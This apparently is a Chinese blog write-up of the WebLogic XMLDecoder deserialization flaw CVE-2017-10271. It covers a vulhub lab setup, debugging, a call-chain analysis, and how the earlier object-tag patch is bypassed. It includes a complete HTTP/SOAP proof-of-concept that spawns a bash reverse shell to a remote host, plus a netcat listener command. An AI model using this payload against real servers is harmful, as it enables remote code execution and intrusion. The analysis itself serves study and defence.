CVE-2017-10271

发布时间 2023-03-24 16:20:10作者: vitara

Weblogic XMLDecoder反序列化漏洞

mad,vulnhub起环境一不小心起错了,那就先看看XML漏洞。

关于

Oracle WebLogic Server(以下简称WebLogic)是一个可扩展的企业级Java平台(Java EE)应用服务器。其完整实现了Java EE 5.0规范,并且支持部署多种类型的分布式应用程序。

序列化&&反序列化

序列化JButton类

import javax.swing.*;
import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;

public class XmlEncoder {
    public static void main(String[] args) throws FileNotFoundException {
        XMLEncoder e = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("result.xml")));
        e.writeObject(new JButton("Hello,xml"));
        e.close();
    }
}

得到xml文档

<?xml version="1.0" encoding="UTF-8"?>
<java version="19.0.2" class="java.beans.XMLDecoder">
 <object class="javax.swing.JButton">
  <string>Hello,xml</string>
 </object>
</java>

反序列化

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FilterInputStream;

public class XmlDecoder {
    public static void main (String[] args) throws FileNotFoundException {
        XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("result.xml")));
        Object result = d.readObject();
        System.out.println(result);
        d.close();
    }
}

反序列化结果

javax.swing.JButton[,0,0,0x0,invalid,alignmentX=0.0,alignmentY=0.5,border=javax.swing.plaf.BorderUIResource$CompoundBorderUIResource@5ae9a829,flags=296,maximumSize=,minimumSize=,preferredSize=,defaultIcon=,disabledIcon=,disabledSelectedIcon=,margin=javax.swing.plaf.InsetsUIResource[top=2,left=14,bottom=2,right=14],paintBorder=true,paintFocus=true,pressedIcon=,rolloverEnabled=true,rolloverIcon=,rolloverSelectedIcon=,selectedIcon=,text=Hello,xml,defaultCapable=true]

XML标签、属性介绍

object标签

通过 <object> 标签表示对象, class 属性指定具体类(用于调用其内部方法),method 属性指定具体方法名称(比如构造函数的的方法名为 new )

new JButton("Hello,xml") 对应的XML文档:

<object class="javax.swing.JButton" method="new">
    <string>Hello,xml</string>
</object>
string标签

表示字符串

void标签

表示函数的调用,赋值等操作,method属性指定具体的方法名称。

JButton b = new JButton();b.setText("Hello, world"); 对应的XML文档:

<object class="javax.swing.JButton">
    <void method="setText">
    <string>Hello,xml</string>
    </void>
</object>
array标签

通过 array 标签表示数组, class 属性指定具体类,内部 void 标签的 index 属性表示根据指定数组索引赋值。
String[] s = new String[3];s[1] = "Hello,xml"; 对应的XML文档:

<array class="java.lang.String" length="3">
    <void index="1">
    <string>Hello,xml</string>
  </void>
</array>

举个例子

<java version="1.7.0_80" class="java.beans.XMLDecoder">
 <object class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="1">
    <void index="0"><string>calc</string></void>
  </array>
  <void method="start"></void>
 </object>
</java>

反序列化命令执行

image-20230324105617328

00x1 环境搭建

启动之前先修改一下yml文件(一定要先修改再启动容器,不然无法映射8453端口)

version: '2'
services:
weblogic:
image: vulhub/weblogic:10.3.6.0-2017
ports:
- "7001:7001"
- "8453:8453"

使用vulnhub的docker镜像起动环境

启动环境
git clone https://github.com/vulhub/vulhub.git
cd vulnhub/weblogic/cve-2017-10271
docker-compose build
docker-compose up -d
查看
docker ps -a

启动后访问本地7001端口

image-20230322100011337

进入容器/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh中的debugFlag参数修改为true

添加代码

debugFlag="true"

export debugFlag

image-20230323210353807

文件修改命令
docker cp [容器id]:docker容器中配置文件路径  主机路径
docker cp e4b322a429d1:/etc/setDomainEnv.sh 改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

// 改完之后
docker cp 主机文件路径  [容器id]:docker容器中配置文件路径
docker cp /home/grafana.ini e4b322a429d1:改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

进入容器查看端口开启情况

docker exec -it [容器ID] /bin/bash
netstat -ano

image-20230323154626451

把源码拉出来

┌──(root㉿kali)-[/home/…/vulhub/weblogic/CVE-2017-10271/Middleware]
└─# docker cp 2b4034ec6f13:/root /home/chenghao/下载/weblogic 

image-20230323164723094

将JDK设置为项目的JDK

image-20230323212524644

将\Oracle\Middleware\server\lib和\Oracle\Middleware\wlserver_10.3\modules添加到lib

image-20230323212442622

image-20230323212309782

编辑配置

image-20230323212911738

debug远程调试

image-20230324091523233

00x2 漏洞描述

XMLDecoder/XMLEncoder 是在JDK1.4版中添加的 XML 格式序列化持久性方案,使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。

漏洞引发的原因是Weblogic“wls-wsat”组件在反序列化操作时使用了Oracle官方的JDK组件中“XMLDecoder”类进行XML反序列化操作引发了代码执行

XMLDecoder 类用于读取使用 XMLEncoder 创建的 XML 文档

00x3 漏洞复现

对页面抓包,改包

POC

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Content-Type: text/xml;charset=UTF-8
Content-Length: 648

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>/bin/sh -i &gt; /dev/tcp/xxx.xxx.xxx.xx/1234 2&lt;&amp;1 0&lt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

vps监听

nc -lvp 7777

image-20230324112226897

00x4漏洞分析

CVE-2017-10271

影响范围

  • WebLogic 10.3.6.0
  • WebLogic 12.1.3.0
  • WebLogic 12.2.1.0
  • WebLogic 12.2.1.1
  • WebLogic 12.2.1.2

CVE-2017-3506和CVE-2017-10271均是 XMLDecoder 反序列化漏洞,CVE-2017-3506修补方案为禁用 object 标签。 CVE-2017-10271是通过 void 、 new 标签对CVE-2017-3506补丁的绕过

/server/lib/wls-wsat.war!/WEB-INF/web.xml

image-20230324120834928

这是一个wls-wsat组件,里面的路由都可以触发漏洞

利用链,从weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest开始

image-20230324142356590

var1就是我们上传的xml内容,var2是header,var是从WorkAreaConstants.WORK_AREA_HEADER得到 的,也就是soap解析的结果

image-20230324142334529

var3不为空,传入readHeaderOld中

image-20230324144337795

实例化了WorkContextXmlInputAdapter

ByteArrayOutputStream中var4的内容是
image-20230324144625762

这些都是xml的序列化数据,可以看到,var4的数据都被WorkContextXmlInputAdapter方法打包处理进了var6

而后进入this.receive方法

image-20230324144945874

将WorkContextXmlInputAdapter的实例传入receiveReuest中,之后一直跟进到readObject中

image-20230324145157466

image-20230324145228003

image-20230324145330768

image-20230324145724922

调用链

image-20230324145804873

对补丁的绕过

为什么标签能替代标签呢

先来看看补丁

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
      } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }

if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");

这里做了一个条件判断,限制了object标签

image-20230324151411744

可以看到当把标签从void改为object后报错了

自己写一个xmldecode类,在readobject函数处下断点,跟进到

com/sun/beans/decoder/DocumentHandler.java

image-20230324152913353

这里的this.handlers参数包含了所有元素对应的解析器

image-20230324153027734

需要解析解析什么元素就会调用“标签”+ElementHandler的构造函数去实例化一个"标签"+ElementHandler的类对象,然后设置一些属性,我们这里看一下ObjectElementHandler的addAttribute方法

com/sun/beans/decoder/ObjectElementHandler.java

image-20230324152735284

这里的object依然继承newelementhandler所以,依然是调用newelement的addAttribute,所以可以获得类,这也证明的new元素本身可以代替class

image-20230324154728506

然后我们再来看看void元素

image-20230324154523187

这就是为什么继承了objecthandlerelement或者newhandlerelement的元素可以代替object元素

参考链接